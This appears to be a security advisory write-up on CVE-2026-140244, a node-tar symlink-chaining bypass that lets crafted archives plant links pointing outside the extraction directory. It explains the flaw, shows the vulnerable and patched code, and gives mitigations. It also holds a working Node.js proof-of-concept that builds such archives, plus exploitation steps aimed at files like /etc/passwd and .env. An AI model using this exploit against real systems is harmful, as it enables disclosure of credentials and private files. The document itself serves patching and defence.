Dec 2, 2026·13 min read·1 visit
Versions of node-tar prior to 8.0.0 rely on lexical path normalization (path.posix.normalize) to check if symlink targets remain within the extraction root. An attacker can bypass this check by chaining an initial in-scope symlink (e.g., s1 -> .) with a second symlink traversing through it (e.g., s2 -> s1/../secret.txt). While lexical normalization cancels 's1/..', the OS kernel dereferences 's1' before applying '..', allowing the planted symlink to point outside the extraction root and exposing sensitive files to downstream consumers.
CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.
node-tar (distributed on npm as tar) is the standard archive extraction and creation library for the Node.js ecosystem. It is heavily utilized by package managers (including the npm CLI), continuous integration pipelines, build systems, and serverless deployment engines to unpack untrusted tarballs. Because archive extraction inherently processes attacker-controlled file paths and metadata headers, node-tar implements an internal security boundary designed to confine all extracted filesystem objects within a designated target working directory (cwd).
CVE-2026-140244 (tracked as GitHub Security Advisory GHSA-mhqm-9wj8-w7r4) is a high-severity vulnerability in node-tar versions prior to 8.0.0. The flaw is classified under CWE-59 (Improper Link Resolution Before File Access) and CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). It resides in the [STRIPABSOLUTEPATH] validation method within src/unpack.ts, which verifies whether symbolic link targets (linkpath) escape the extraction root.
When evaluating a relative symbolic link, node-tar uses lexical path manipulation (path.posix.normalize and path.resolve) to determine if parent directory traversal sequences (..) ascend above the extraction root. While this check rejects direct relative escapes such as ../secret.txt, it fails to account for the semantic difference between string-based path normalization and operating system kernel path resolution when intermediate path components are themselves symbolic links.
By supplying an archive with a two-stage symlink chain—or by using unnormalized entry directory paths ending in /.—an unauthenticated attacker can bypass the containment check and plant symbolic links inside the extraction directory that resolve to arbitrary files on the host filesystem. Although node-tar blocks subsequent archive writes through these symlinks during the extraction phase, any downstream consumer that reads, serves, copies, or packages the extracted directory tree will traverse the symlink and disclose arbitrary host files.
The root cause of CVE-2026-140244 is a discrepancy between lexical path resolution and physical VFS (Virtual File System) path resolution in the kernel. Under POSIX path resolution rules (defined in path_resolution(7)), the operating system evaluates path components sequentially from left to right. Whenever the kernel encounters a symbolic link component during traversal, it immediately replaces that component with the symlink's target destination before evaluating the subsequent component (such as ..).
In contrast, lexical normalization functions like Node.js's path.posix.normalize() operate purely on string tokens. When given a path containing <name>/.., lexical normalization unconditionally collapses the named token and the .. token together, assuming <name> is a standard physical subdirectory whose parent is the preceding path prefix. This assumption breaks whenever <name> is a symbolic link pointing to a different directory hierarchy depth.
In node-tar prior to 8.0.0, the [STRIPABSOLUTEPATH] method in src/unpack.ts validated a symlink entry's linkpath by joining it with path.posix.dirname(entry.path) and normalizing the resulting string. If an archive first extracts a benign symlink s1 pointing to . (the current extraction directory cwd), node-tar permits it because . stays within cwd. If the archive then contains a second symlink s2 with a target of s1/../secret.txt, path.posix.normalize('s1/../secret.txt') collapses s1/.. and yields secret.txt. Because secret.txt does not begin with ../, the containment check passes and s2 is written to disk.
Once on disk, when a process opens s2, the OS kernel reads the target s1/../secret.txt. It first resolves s1 to <cwd>, and then evaluates .. relative to <cwd>, ascending into <cwd>/.. and accessing <cwd>/../secret.txt. By chaining or repeating intermediate symlinks (e.g., s1 -> ., s2 -> s1/.., s3 -> s2/../..), an attacker can ascend to the filesystem root / while every link target normalizes lexically to a path inside <cwd>.
During the security audit for this flaw, two additional edge cases in the same validation routine were identified:
entry.path trailing dot segments: Computing the base directory via path.posix.dirname(entry.path) without first normalizing entry.path caused an off-by-one depth error when entry.path ended with /. or /./. For example, for entry.path = 'esc/.' and linkpath = '../outside.txt', dirname('esc/.') returns 'esc'. Joining 'esc' and '../outside.txt' normalizes to 'outside.txt' (passing validation), whereas on disk the symlink is created at <cwd>/esc, causing ../outside.txt to resolve outside <cwd>.\ is a valid filename character rather than a path separator. Splitting or evaluating paths with mixed backslash characters allowed directory depth counting to diverge from actual POSIX filesystem layout.In node-tar versions prior to 8.0.0, the Unpack class in src/unpack.ts invoked [STRIPABSOLUTEPATH] during header processing to sanitize and validate both the entry's destination (entry.path) and symbolic link targets (entry.linkpath).
< 8.0.0)// src/unpack.ts (prior to commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d)
// Inside [STRIPABSOLUTEPATH](entry: ReadEntry, field: 'path' | 'linkpath')
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)
if (resolved.startsWith('../') || resolved === '..') {
this.warn(
'TAR_ENTRY_ERROR',
`${field} escapes extraction directory`,
{ entry, [field]: p },
)
return false
}The vulnerable snippet exhibits two distinct flaws:
parts.join('/') is passed directly into path.posix.join and path.posix.normalize. Any .. token that follows a named path segment in parts is textually canceled against that named segment without checking whether that named segment could be a symlink on disk.path.posix.dirname(entry.path) is called on the raw entry.path before normalization. If entry.path is esc/., dirname treats . as the basename and esc as the parent directory, adding a phantom directory level to entryDir that does not exist when the symlink is created at esc.8.0.0)Commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d (and the subsequent v8 architectural port in commit 634eea74d893808fcf297272d6bbdaeedd69d3f4) remediates these issues by enforcing strict structural constraints on linkpath components and normalizing entry.path prior to calculating its parent directory.
// src/unpack.ts (commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d)
// 1. Identify the index of the first actual named component (not '..', '.', or empty)
const firstName = parts.findIndex(
part => part !== '..' && part !== '.' && part !== '',
)
// 2. Reject any linkpath where '..' appears AFTER a named path segment.
// Because any named segment could be an archive-created symlink,
// '..' is only safe when positioned at the leading prefix of the linkpath.
if (firstName !== -1 && parts.includes('..', firstName)) {
this.warn(
'TAR_ENTRY_ERROR',
`${field} contains '..' after a path portion`,
{ entry, [field]: p },
)
return false
}
// 3. Normalize entry.path before calling dirname() so trailing '/.' or '/./'
// cannot artificially inflate the directory depth of the symlink.
const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)
if (resolved.startsWith('../') || resolved === '..') {
this.warn(
'TAR_ENTRY_ERROR',
`${field} escapes extraction directory`,
{ entry, [field]: p },
)
return false
}The patch eliminates the vulnerability class without requiring costly synchronous filesystem lstat/realpath calls during archive stream parsing. By forbidding .. tokens anywhere after the first named segment (firstName !== -1 && parts.includes('..', firstName)), node-tar guarantees that parent directory traversal in a relative symlink can only ascend up the static directory tree of entryDir itself (which node-tar already validates against symlink traversal via its [ENSURE_NO_SYMLINK] directory cache). Furthermore, normalizing entry.path prior to dirname() prevents trailing dot segments from skewing the depth calculation. Note that this rule intentionally blocks even benign symlinks formatted like subdir/../file.txt, as such paths are redundant and indistinguishable from symlink-hop attacks at parse time.
Exploiting CVE-2026-140244 requires an attacker to supply a specially crafted .tar (or .tgz / .tar.gz) archive to an application that extracts it using node-tar < 8.0.0, followed by a downstream operation that reads from the extracted files. No authentication, elevated privileges, or race conditions are required.
tar-stream or Python's tarfile module) that allows raw specification of linkname / linkpath headers without local normalization.s1 -> . or dir_a/b -> ../x.linkpath traverses through the Stage 1 symlink followed by .. segments and the target host path (e.g., s2 -> s1/../../../../etc/passwd or s2 -> s1/../.env).name (entry.path) ends in /., such as name: 'esc/.' with linkname: '../secret.txt'.fs.cpSync(..., { dereference: true }), or reads a specific expected file path (like README.md or package.json), the application reads the sensitive host file pointed to by the planted symlink.The following Node.js proof-of-concept script (adapted from the disclosure by Zachariah Mithani) demonstrates three distinct bypass vectors against tar < 8.0.0:
const tar = require('tar');
const tarstream = require('tar-stream');
const fs = require('fs');
const path = require('path');
const base = process.cwd();
const root = path.join(base, 'test_root');
const ext = path.join(root, 'ext');
fs.mkdirSync(root, { recursive: true });
fs.writeFileSync(path.join(root, 'secret.txt'), 'CANARY_CONFIDENTIAL_DATA\n');
const testCases = {
// Blocked by node-tar < 8.0.0
direct: [
{ name: 'evil', type: 'symlink', linkname: '../secret.txt' }
],
// Bypass 1: '..' after an archive-created symlink pointing to '.'
dotdot_via_s1: [
{ name: 's1', type: 'symlink', linkname: '.' },
{ name: 's2', type: 'symlink', linkname: 's1/../secret.txt' }
],
// Bypass 2: Nested symlink hop across subdirectories
nested_hop: [
{ name: 'dir_a', type: 'directory' },
{ name: 'dir_a/b', type: 'symlink', linkname: '../x' },
{ name: 'dir_a/esc', type: 'symlink', linkname: 'b/../../secret.txt' }
]
};
(async () => {
for (const [caseName, entries] of Object.entries(testCases)) {
fs.rmSync(ext, { recursive: true, force: true });
fs.mkdirSync(ext, { recursive: true });
const pack = tarstream.pack();
for (const e of entries) {
pack.entry({ name: e.name, type: e.type, linkname: e.linkname, mode: 0o755 }, e.data);
}
pack.finalize();
const chunks = [];
for await (const chunk of pack) chunks.push(chunk);
const tarPath = path.join(base, 'test.tar');
fs.writeFileSync(tarPath, Buffer.concat(chunks));
const warnings = [];
await tar.x({
file: tarPath,
cwd: ext,
onwarn: (c, m) => warnings.push(c)
});
let leaked = '-';
for (const candidate of ['evil', 's2', 'dir_a/esc']) {
try {
leaked = fs.readFileSync(path.join(ext, candidate), 'utf8').trim();
} catch {}
}
console.log(`[+] Case: ${caseName} | Warnings: ${JSON.stringify(warnings)} | Leaked: ${leaked}`);
}
})();> [!NOTE]
> While node-tar allows the outside-pointing symlink to be written to disk in vulnerable versions, it cannot be used to achieve arbitrary file overwrite within the same tar.x() invocation. node-tar tracks extracted paths and verifies physical path ancestors with lstat ([ENSURE_NO_SYMLINK]) before writing regular files, and hardlinks escape checks remain intact.
The primary security impact of CVE-2026-140244 is arbitrary file disclosure (confidentiality breach) and sandbox integrity violation (planting unauthorized filesystem links pointing outside the extraction boundary).
Under CVSS v4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N), the vulnerability carries a base score of 7.2 (High). Under CVSS v3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N), it is scored at 5.9 (Medium) because achieving high confidentiality impact (C:H) depends on how the surrounding application interacts with the extracted files after node-tar finishes unpacking.
.env files, /proc/self/environ, AWS/GCP credentials, or private SSH keys) directly into the build output..tar or .tgz bundles for static hosting, theme installation, or in-browser document previewing will serve arbitrary local files back to the attacker when the symlink path is requested.From a threat intelligence perspective, CVE-2026-140244 is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and its EPSS probability score is estimated at 0.00045 (0.16th percentile). However, a working proof-of-concept is publicly available in both the GitHub Security Advisory and the node-tar regression test suite.
node-tar v8.0.0The vulnerability is patched in tar version 8.0.0 via commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d. Users and downstream library maintainers should upgrade tar to 8.0.0 or later:
npm install tar@^8.0.0> [!WARNING]
> node-tar v8.0.0 contains major breaking changes:
> - Node.js Runtime Requirement: Node.js >= 22 is strictly required. Support for Node.js 18 and 20 has been dropped.
> - API Architecture: Legacy Node.js streams (minipass / Node stream) and callback patterns have been replaced with Web ReadableStream, AsyncIterable, and native Promises.
> - Subpath Imports: Synchronous filesystem methods (extractSync, createSync, listSync, replaceSync, updateSync) are now exported from tar/node.
tar < 8.0.0)For environments running Node.js < 22 that cannot immediately migrate to tar@8.0.0, apply one or more of the following defensive controls:
filter Option)Supply a filter callback to tar.x() / tar.extract() that replicates the v8 patch logic by rejecting all symbolic links or strictly sanitizing entry.path and entry.linkpath:
const path = require('path');
const tar = require('tar');
await tar.x({
file: 'untrusted.tar',
cwd: extractionDir,
filter: (entryPath, entry) => {
if (entry.type === 'SymbolicLink') {
// Reject trailing '/.' or '/./' on symlink entry paths
if (/(?:^|\/)\.\/?$/.test(entry.path)) {
return false;
}
// Split linkpath and reject '..' appearing after any named segment
const parts = (entry.linkpath || '').split('/');
const firstName = parts.findIndex(p => p !== '..' && p !== '.' && p !== '');
if (firstName !== -1 && parts.includes('..', firstName)) {
return false;
}
// Verify normalized target against normalized entry.path directory
const entryDir = path.posix.dirname(path.posix.normalize(entry.path));
const resolved = path.posix.normalize(path.posix.join(entryDir, parts.join('/')));
if (resolved.startsWith('../') || resolved === '..' || path.posix.isAbsolute(entry.linkpath)) {
return false;
}
}
return true;
}
});If the application does not require symbolic links inside uploaded archives, block symbolic and hard links entirely in the filter:
filter: (entryPath, entry) => entry.type !== 'SymbolicLink' && entry.type !== 'Link'Before allowing any downstream tool to read from the extraction directory, walk the extracted directory tree and either delete all symbolic links or verify with fs.realpathSync() that every symlink target resolves inside fs.realpathSync(extractionDir):
find /path/to/extraction_dir -type l -deleteCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
tar (node-tar) isaacs | < 8.0.0 | 8.0.0 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-140244 / GHSA-mhqm-9wj8-w7r4 |
| Affected Component | node-tar (npm: tar) < 8.0.0 (src/unpack.ts [STRIPABSOLUTEPATH]) |
| Weakness Class | CWE-59 (Improper Link Resolution) / CWE-22 (Path Traversal) |
| CVSS Score | 7.2 High (CVSS v4.0) / 5.9 Medium (CVSS v3.1) |
| Attack Vector | Network (Crafted .tar archive with chained symlinks or '/.' entry paths) |
| Security Impact | Symlink Sandbox Escape leading to Arbitrary File Read via downstream consumers |
| Exploit & KEV Status | Public PoC Available / Not in CISA KEV |
| Patched Version | tar v8.0.0 (Commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d) |
The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.
CVE-2026-140241 is a Denial of Service (DoS) vulnerability in the node-tar archive manipulation library (npm package: tar) affecting versions 7.5.22 through 7.5.24. The defect stems from an uncaught synchronous exception thrown during the initialization of Zstandard (zstd) decompression on Node.js runtimes that lack native zstd bindings. An unauthenticated attacker can supply a 4-byte payload containing the zstd magic header (0x28 0xb5 0x2f 0xfd) to asynchronous listing or extraction APIs, causing the error to escape stream event handlers and terminate the Node.js process.
CVE-2026-140240 (GHSA-7c32-79xj-j3jp) is a resource exhaustion and algorithmic complexity vulnerability in node-tar, the archive manipulation library for Node.js. In versions prior to 8.0.2, processing a small, crafted tar archive (approximately 20 KB) causes severe CPU degradation or triggers an Out-of-Memory (OOM) crash in the V8 JavaScript heap. The vulnerability stems from quadratic string allocation in asynchronous path reservation bookkeeping, unbounded depth and length validation on linkpath headers, memory retention leaks in reservation maps, and unbounded string caching in the Unicode normalization subsystem.
CVE-2026-140239 (GHSA-ffhw-4r4q-5cwv) is an improper input validation vulnerability in the node-tar npm package prior to version 8.0.0. An inconsistency between the Header and ReadEntry parsing classes allows an attacker to inject an arbitrary linkpath attribute into all subsequent archive entries via a PAX Global Extended Header (type 'g'). Because the Header class ignores the global linkpath while ReadEntry applies it, the parser's strict-mode integrity validation is bypassed, enabling downstream applications that inspect entry.linkpath to be manipulated into arbitrary file read or write operations outside the extraction directory.
CVE-2026-140238 (GHSA-mpg7-vg3p-wc3m) is a high-severity parsing vulnerability in node-tar versions prior to 8.0.0. By splitting POSIX.1-2001 PAX extended header blocks on raw newline characters instead of enforcing byte-length framing prefixes, the parser allows unescaped newlines within metadata fields to inject forged PAX records. Attackers can override entry attributes such as file paths during extraction, enabling arbitrary file overwrites inside the destination directory and remote code execution on Windows via npm lifecycle script injection.
An interpretation conflict vulnerability in node-tar versions 7.0.0 prior to 8.0.0 allows attackers to smuggle arbitrary tar archive members inside POSIX extended header (PAX) metadata blocks. Because node-tar reapplied pending PAX size attributes onto subsequent metadata entries, an attacker can set a PAX size of zero to prematurely terminate metadata body consumption. When combined with multi-engine inspection and extraction pipelines, this parser desynchronization permits file smuggling that bypasses archive member allowlists, malware scanning, and security policy verification.